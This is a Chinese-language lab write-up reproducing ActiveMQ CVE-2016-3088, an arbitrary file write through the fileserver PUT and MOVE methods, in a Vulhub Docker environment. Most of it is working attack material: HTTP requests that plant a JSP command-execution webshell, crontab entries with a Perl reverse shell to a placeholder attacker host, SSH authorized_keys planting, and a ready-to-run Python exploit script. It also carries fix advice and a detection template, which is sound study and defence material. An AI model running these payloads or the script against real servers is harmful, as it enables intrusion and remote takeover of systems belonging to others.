ActiveMQ 任意文件写入漏洞(CVE-2016-3088)复现
导语
ActiveMQ的web控制台分三个应用:admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
- 其使用率并不高
- 文件操作容易出现漏洞
漏洞影响范围是 5.0.0~5.13.x,但ActiveMQ在 5.12.x~5.13.x 版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。
官方漏洞通告地址:Security Advisories - ActiveMQ 5.x
漏洞环境
git clone https://github.com/vulhub/vulhub.git
cd ~/vulhub/activemq/CVE-2016-3088
直接执行如下命令,进行漏洞靶场的编译和运行:
# 可选
docker-compose build
docker-compose up -d
P.S.为什么docker-compose build
是可选的?
docker-compose up -d
运行后,会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在,则不会再次编译;如果配置文件中包含的环境不存在,则会自动进行编译。所以,其实docker-compose up -d
命令是包含了docker-compose build
的。如果更新了配置文件,你可以手工执行docker-compose build
来重新编译靶场环境。
本次docker容器中ActiveMQ 的版本是ActiveMQ 5.11.1,环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息将在这个端口进行传递。8161是Web管理页面端口,本漏洞就出现在web控制台中。访问http://your-ip:8161
看到web管理页面,说明环境成功运行。
漏洞复现
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:
- 写入webshell
- 写入crontab或ssh-key等文件
- 写入jar或jetty.xml等库或配置文件
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,将admin和api的登录限制去掉,但有个条件是:知道activemq的绝对路径。
P.S.获取绝对路径方法:
- 需要管理员权限,访问
http://your-ip:8161/admin/test/systemProperties.jsp
- 有的版本有绝对路径泄露漏洞,构造不存在的地址,如图:
- 当然还有别的骚操作~
下面分别测试这几种利用方法:
写入webshell
首先,访问http://your-ip:8161/admin/test/systemProperties.jsp
(admin/admin),查看ActiveMQ的绝对路径为/opt/activemq
然后上传webshell:
PUT /fileserver/fuck.txt HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 327
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
移动到web目录下的api文件夹(/opt/activemq/webapps/api/shell.jsp
)中:
MOVE /fileserver/fuck.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 0
HTTP/1.1 500 Server Error
Connection: close
Server: Jetty(8.1.16.v20140903)
访问webshell http://your-ip:8161/api/shell.jsp?cmd=id
(需要登录admin/admin):
成功上传webshell。
P.S.这里值得注意的是:
PUT是一个txt,因为测试发现5.11.1这个版本不能直接传jsp后缀到fileserver目录下,不然会出现 401 Unauthorized
错误,但有的低版本可以直接传jsp。如果非要传jsp后缀到fileserver目录下,可以在后缀后面添加 /
或 %00
等绕过,MOVE时也需添加 /
或 %00
。而fileserver目录下本来就不解析jsp文件,所以一般也用不到这个方法。但这是值得注意的,以至于你传jsp返回 401
不会懵逼。
写入crontab和ssh-key文件
写入crontab,自动弹shell
利用条件:ActiveMQ是root运行。因为cron服务是默认启动的,所以这是一个最稳的方法。
Alpine 系统:写入 /etc/cron.d/root
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
ubuntu 系统:写入 /var/spool/cron/crontabs/root
需要注意的是,ubuntu 不需要在*
后面加 root
*/1 * * * * perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
首先上传cron配置文件(注意,换行一定要\n
,不能是\r\n
,否则crontab执行会失败):
PUT /fileserver/cron.txt HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 254
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="vps.ip";$p=vps.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
##
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
将其移动到/etc/cron.d/root
:
MOVE /fileserver/cron.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 0
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
上述两个请求都返回204了,说明写入成功。等待反弹shell:
写入ssh-key,直接连接ssh
环境准备:docker容器中的环境需要安装sshd服务并且建立/root/.ssh
文件夹,开启ssh-key登陆。
apt-get install openssh-server
mkdir /root/.ssh
如果未建立 /root/.ssh
文件夹,后面MOVE操作会出现 500 Server Error
错误。
/etc/ssh/sshd_config
配置文件如下:
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
首先在攻击机上生成密钥对(如果已存在则不需要)
ssh-keygen -t rsa
然后将公钥 /root/.ssh/id_rsa.pub
上传
PUT /fileserver/id_rsa.pub HTTP/1.1
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 383
ssh-rsa AAA***mJv ***@***
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
将上传的公钥移动到/root/.ssh/
并重命名为authorized_keys
MOVE /fileserver/id_rsa.pub HTTP/1.1
Destination: file:///root/.ssh/authorized_keys
Host: your-ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 0
HTTP/1.1 204 No Content
Connection: close
Server: Jetty(8.1.16.v20140903)
攻击机上执行如下命令:
ssh -i id_rsa root@your-ip
成功连接ssh。
写入jar或jetty.xml等库或配置文件
理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。
有的情况下,jetty.xml和jar的所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。
这里就不做测试了。
移除环境
Vulhub中所有环境均为漏洞靶场,在测试结束后,请及时关闭并移除环境,避免被他人恶意利用。
虽然靶场全部运行在Docker中,但大多数恶意软件并不会因为运行在容器中就失去效果!
前面说了,docker-compose会默认根据当前目录下的配置文件启动容器,在关闭及移除环境的时候,也需要在对应目录下。我们执行docker-compose up -d
后,不要离开当前目录即可,漏洞测试结束后,执行如下命令移除环境:
docker-compose down
上述命令会执行如下几个动作:
- 关闭正在运行的容器
- 删除所有相关容器
- 移除NAT(docker-compose在运行的时候会创建一个NAT网段)
但不会移除编译好的漏洞镜像,下次再执行docker-compose up -d
命令,就不需要再次编译相关镜像了。
P.S. docker-compose down
完整命令:
docker-compose down [options]
停止和删除容器、网络、卷、镜像。
选项包括:
--rmi type,删除镜像,类型必须是:all,删除compose文件中定义的所有镜像;local,删除镜像名为空的镜像;
-v, -volumes,删除已经在compose文件中定义的和匿名的附在容器上的数据卷;
–remove-orphans,删除服务中没有在compose中定义的容器。
修复建议
-
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
-
通过移除
conf/jetty.xml
的以下配置来禁用 ActiveMQ Fileserver 功能。<bean class="org.eclipse.jetty.webapp.WebAppContext"> <property name="contextPath" value="/fileserver" /> <property name="resourceBase" value="${activemq.home}/webapps/fileserver" /> <property name="logUrlOnStart" value="true" /> <property name="parentLoaderPriority" value="true" /> </bean>
POC&EXP
支持xray的poc(暂时只检测PUT):
name: poc-yaml-activemq_CVE-2016-3088
set:
r1: randomInt(5, 10)
r2: randomLowercase(r1)
rules:
- method: PUT
path: /fileserver/{{r2}}
expression: |
response.status == 204
detail:
author: laura_lion
links:
- https://github.com/Laura0xiaoshizi
exp:
#!/usr/bin/python
# -*- coding:utf-8 -*-
import re
import base64
import requests
import argparse
def exp(domain, port, passwd):
if 'http' not in domain:
domain = "http://" + domain
domain = domain + ":{}".format(port)
admin_path_domain = domain + "/admin/test/systemProperties.jsp"
login = 'admin:{}'.format(passwd)
login_base = base64.b64encode(login.encode('utf-8'))
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
'Authorization': 'Basic {}'.format(login_base.decode('utf-8')),
}
path_req = requests.get(admin_path_domain, headers=headers)
if path_req.status_code == 200:
root_path = re.findall('<td class="label">activemq.home</td>.*?<td>(.*?)</td>', path_req.text, re.S)[0]
uptext = '''your code'''
put_domain = domain + '/fileserver/shell.txt'
put_req = requests.put(put_domain, headers=headers, data=uptext)
if put_req.status_code == 204:
move_file_header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0',
'Destination': 'file://{}/webapps/api/shell.jsp'.format(root_path)
}
move_req = requests.request("MOVE", put_domain, headers=move_file_header)
if move_req.status_code == 204:
print("\033[1;32m[+] Success!\nFile Path:[ %s ]\033[0m" %(domain + "/api/shell.jsp"))
else:
print("\033[1;31m [-] Move Fail,status code's{},please check!\033[0m".format(move_req.status_code))
else:
print("\033[1;31m [-] Write Fail,status code's{},maybe is not CVE-2016-3088!\033[0m".format(put_req.status_code))
else:
print("\033[1;31m [-] Login Fail,please check the password!")
if __name__ == '__main__':
description = '''use method:
python3 cve-2016-3088.py -d 127.0.0.1
python3 cve-2016-3088.py -d 127.0.0.1 -p 8161 -P password'''
parser = argparse.ArgumentParser(description=description, formatter_class=argparse.RawDescriptionHelpFormatter)
try:
parser.add_argument('-d', '--domain', help='target domain, required')
parser.add_argument('-p', '--port', default='8161', help='target port, default 8161')
parser.add_argument('-P', '--password', default='admin', help='target password, default admin')
args = parser.parse_args()
exp(domain=args.domain, port=args.port, passwd=args.password)
except:
parser.print_help()